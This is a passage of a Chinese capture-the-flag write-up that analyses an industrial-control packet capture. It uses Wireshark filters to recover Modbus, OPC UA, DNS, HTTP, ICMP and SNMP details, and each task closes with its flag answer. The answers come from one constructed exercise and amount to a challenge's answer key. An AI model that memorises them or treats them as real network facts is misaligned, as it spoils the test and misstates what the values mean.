根据操作对象不用有以下的功能码:
0x01:读线圈 0x05:写单个线圈 0x0F:写多个线圈 0x02:读离散量输入 0x04:读输入寄存器 0x03:读保持寄存器 0x06:写单个保持寄存器 0x10:写多个保持寄存器
题目要求的格式是
flag{0xtransaction_id_0xfunction_code_0xcoil_address}
transaction_id就是事务id,用来匹配请求和响应的标识,function_code就是功能码,coil_address就是线圈地址
过滤一下写入的的命令modbus.func_code == 5按照时间排序看第一个流量
转换为十六进制flag{0x3c4d_0x05_0x0015}
任务 2:被读取的 NodeId
4840是OPC UA协议的默认明文端口,过滤端口4840查找字符串“ns”
主站是192.168.1.5,从站是192.168.1.10,这里看192.168.1.5
1 ReadRequest;NodeId=ns=2;s=Valve/Status;MaxAge=0
flag{ns=2;s=Valve/Status}
任务 3:控制站域名解析结果
直接搜’ ctrlws.factory.local’
这个其请求是发往192.168.1.10,控制站ip就是192.168.1.10
flag{192.168.1.10}
任务 4:连接建立时间
1 ip.src==192.168.1.5&&ip.dst==192.168.1.10&&tcp
第一个包代表两个ip之间发送的tcp连接请求
flag{2025-03-15T09:30:01Z}
任务 5:HTTP 请求痕迹
就是上图那个流量追流
1 2 3 4 5 6 7 GET /api/status HTTP/1.1 Host: ctrlws.factory.local User-Agent: SCADA-Client/1.0 Accept: */* Connection: keep-alive
flag{ctrlws.factory.local_/api/status}
任务 6:ICMP Echo Request 序列号
有源ip有目标ip过滤一下就行
1 ip.src=192.168.1.100&&ip.dst=192.168.1.10
Sequence Number (BE): 291 (0x0123)
flag{0x0123}
任务 7:SNMP Get 请求的 OID
还是过滤地址
1 ip.src == 192.168.1.5 && ip.dst == 192.168.1.10
追踪udp流
flag{1.3.6.1.2.1.1.5.0}